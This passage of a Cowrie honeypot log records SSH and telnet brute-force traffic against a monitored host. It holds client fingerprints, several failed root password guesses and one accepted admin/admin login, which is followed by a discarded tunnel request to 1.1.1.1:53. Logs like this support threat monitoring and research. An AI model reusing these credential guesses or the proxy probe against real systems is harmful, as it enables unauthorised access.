ert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:16:22.969280Z","src_ip":"103.98.149.87","session":"8ca927b4ba43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha2011","message":"login attempt [root/sasha2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:16:24.446925Z","src_ip":"103.98.149.87","session":"8ca927b4ba43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:16:25.686116Z","src_ip":"103.98.149.87","session":"8ca927b4ba43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53788,"dst_ip":"159.203.135.109","dst_port":23,"session":"bca806a6d1fe","protocol":"telnet","message":"New connection: 135.148.14.151:53788 (159.203.135.109:23) [session: bca806a6d1fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:16:31.865363Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56656,"dst_ip":"159.203.135.109","dst_port":23,"session":"41866c2de2b2","protocol":"telnet","message":"New connection: 135.148.14.151:56656 (159.203.135.109:23) [session: 41866c2de2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:16:37.934706Z"}
{"eventid":"cowrie.session.closed","duration":38.675230979919434,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:16:53.324188Z","src_ip":"135.148.14.151","session":"4604f22be76b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37228,"dst_ip":"159.203.135.109","dst_port":23,"session":"c625bb2d0d1d","protocol":"telnet","message":"New connection: 135.148.14.151:37228 (159.203.135.109:23) [session: c625bb2d0d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:16:57.803643Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48118,"dst_ip":"159.203.135.109","dst_port":23,"session":"461fd0ec8516","protocol":"telnet","message":"New connection: 135.148.14.151:48118 (159.203.135.109:23) [session: 461fd0ec8516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:17:02.584076Z"}
{"eventid":"cowrie.session.closed","duration":0.005537748336791992,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:17:02.589459Z","src_ip":"135.148.14.151","session":"461fd0ec8516","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.00891900062561,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:17:08.874197Z","src_ip":"135.148.14.151","session":"bca806a6d1fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.71434235572815,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:17:12.648920Z","src_ip":"135.148.14.151","session":"41866c2de2b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00571417808533,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:17:30.670086Z","src_ip":"179.102.17.221","session":"18983b4af0f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.167707204818726,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:17:31.971162Z","src_ip":"135.148.14.151","session":"c625bb2d0d1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00303268432617,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:17:34.527779Z","src_ip":"179.102.17.221","session":"6dfaac0232ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":41140,"dst_ip":"159.203.135.109","dst_port":23,"session":"47ec4d8c6061","protocol":"telnet","message":"New connection: 179.102.17.221:41140 (159.203.135.109:23) [session: 47ec4d8c6061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:17:40.790675Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":41141,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb5971d26ef4","protocol":"telnet","message":"New connection: 179.102.17.221:41141 (159.203.135.109:23) [session: cb5971d26ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:17:40.817907Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58216,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3556b905830","protocol":"telnet","message":"New connection: 135.148.14.151:58216 (159.203.135.109:23) [session: e3556b905830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:17:42.583937Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34160,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f49af0740d0","protocol":"telnet","message":"New connection: 135.148.14.151:34160 (159.203.135.109:23) [session: 4f49af0740d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:17:58.922086Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41930,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b76ee3fedae","protocol":"telnet","message":"New connection: 135.148.14.151:41930 (159.203.135.109:23) [session: 0b76ee3fedae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:10.214536Z"}
{"eventid":"cowrie.session.closed","duration":120.00258779525757,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:12.248222Z","src_ip":"149.34.216.141","session":"81d192c7c337","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.34.216.141","src_port":53648,"dst_ip":"159.203.135.109","dst_port":23,"session":"de9e1992faab","protocol":"telnet","message":"New connection: 149.34.216.141:53648 (159.203.135.109:23) [session: de9e1992faab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:12.645729Z"}
{"eventid":"cowrie.session.closed","duration":120.00156164169312,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:13.121823Z","src_ip":"149.34.216.141","session":"e1702ba09d79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":47156,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f46804499ce","protocol":"ssh","message":"New connection: 176.32.39.21:47156 (159.203.135.109:22) [session: 8f46804499ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:15.098464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:15.104448Z","src_ip":"176.32.39.21","session":"8f46804499ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:15.228788Z","src_ip":"176.32.39.21","session":"8f46804499ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"komarova","message":"login attempt [root/komarova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:15.595815Z","src_ip":"176.32.39.21","session":"8f46804499ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:16.720551Z","src_ip":"176.32.39.21","session":"8f46804499ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0020101070404,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:16.780318Z","src_ip":"149.34.216.141","session":"369cd04b4ebb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.34.216.141","src_port":53514,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6018300fabb","protocol":"telnet","message":"New connection: 149.34.216.141:53514 (159.203.135.109:23) [session: c6018300fabb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:17.176185Z"}
{"eventid":"cowrie.session.closed","duration":37.70713019371033,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:20.290948Z","src_ip":"135.148.14.151","session":"e3556b905830","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49192,"dst_ip":"159.203.135.109","dst_port":23,"session":"d115ef3acda8","protocol":"telnet","message":"New connection: 135.148.14.151:49192 (159.203.135.109:23) [session: d115ef3acda8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:25.273748Z"}
{"eventid":"cowrie.session.closed","duration":31.659857988357544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:30.581840Z","src_ip":"135.148.14.151","session":"4f49af0740d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":25410,"dst_ip":"10.17.0.5","dst_port":22,"session":"66839f2d1672","protocol":"ssh","message":"New connection: 87.251.64.176:25410 (10.17.0.5:22) [session: 66839f2d1672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:33.959418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:33.964583Z","src_ip":"87.251.64.176","session":"66839f2d1672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:34.059850Z","src_ip":"87.251.64.176","session":"66839f2d1672","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:34.347497Z","src_ip":"87.251.64.176","session":"66839f2d1672","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:34.444646Z","session":"66839f2d1672","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:34.542318Z","src_ip":"87.251.64.176","session":"66839f2d1672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:34.643835Z","src_ip":"87.251.64.176","session":"66839f2d1672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.951966762542725,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:47.166357Z","src_ip":"135.148.14.151","session":"0b76ee3fedae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58904,"dst_ip":"159.203.135.109","dst_port":23,"session":"99c24395fa13","protocol":"telnet","message":"New connection: 135.148.14.151:58904 (159.203.135.109:23) [session: 99c24395fa13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:18:47.927017Z"}
{"eventid":"cowrie.session.closed","duration":37.804750204086304,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:19:03.078383Z","src_ip":"135.148.14.151","session":"d115ef3acda8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":55940,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7f5484f7e12","protocol":"ssh","message":"New connection: 77.94.47.83:55940 (159.203.135.109:22) [session: d7f5484f7e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:19:12.104688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:19:12.112496Z","src_ip":"77.94.47.83","session":"d7f5484f7e12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:19:12.226628Z","src_ip":"77.94.47.83","session":"d7f5484f7e12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120386","message":"login attempt [root/120386] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:19:12.562119Z","src_ip":"77.94.47.83","session":"d7f5484f7e12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:19:13.676625Z","src_ip":"77.94.47.83","session":"d7f5484f7e12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41931,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dde79511040","protocol":"telnet","message":"New connection: 135.148.14.151:41931 (159.203.135.109:23) [session: 0dde79511040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:19:20.907584Z"}
{"eventid":"cowrie.session.closed","duration":36.264113426208496,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:19:24.191030Z","src_ip":"135.148.14.151","session":"99c24395fa13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36096,"dst_ip":"159.203.135.109","dst_port":23,"session":"d928b5240914","protocol":"telnet","message":"New connection: 135.148.14.151:36096 (159.203.135.109:23) [session: d928b5240914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:19:31.788666Z"}
{"eventid":"cowrie.session.closed","duration":0.004436016082763672,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:19:31.792990Z","src_ip":"135.148.14.151","session":"d928b5240914","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00232148170471,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:19:40.792845Z","src_ip":"179.102.17.221","session":"47ec4d8c6061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00102400779724,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:19:40.818782Z","src_ip":"179.102.17.221","session":"cb5971d26ef4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.66123390197754,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:19:49.568453Z","src_ip":"135.148.14.151","session":"0dde79511040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":50664,"dst_ip":"10.17.0.5","dst_port":22,"session":"b96ab46255ff","protocol":"ssh","message":"New connection: 103.122.221.179:50664 (10.17.0.5:22) [session: b96ab46255ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:09.222650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:09.229615Z","src_ip":"103.122.221.179","session":"b96ab46255ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:09.486703Z","src_ip":"103.122.221.179","session":"b96ab46255ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345az","message":"login attempt [root/12345az] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:10.262929Z","src_ip":"103.122.221.179","session":"b96ab46255ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:11.524021Z","src_ip":"103.122.221.179","session":"b96ab46255ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00219941139221,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:12.647829Z","src_ip":"149.34.216.141","session":"de9e1992faab","protocol":"telnet"}
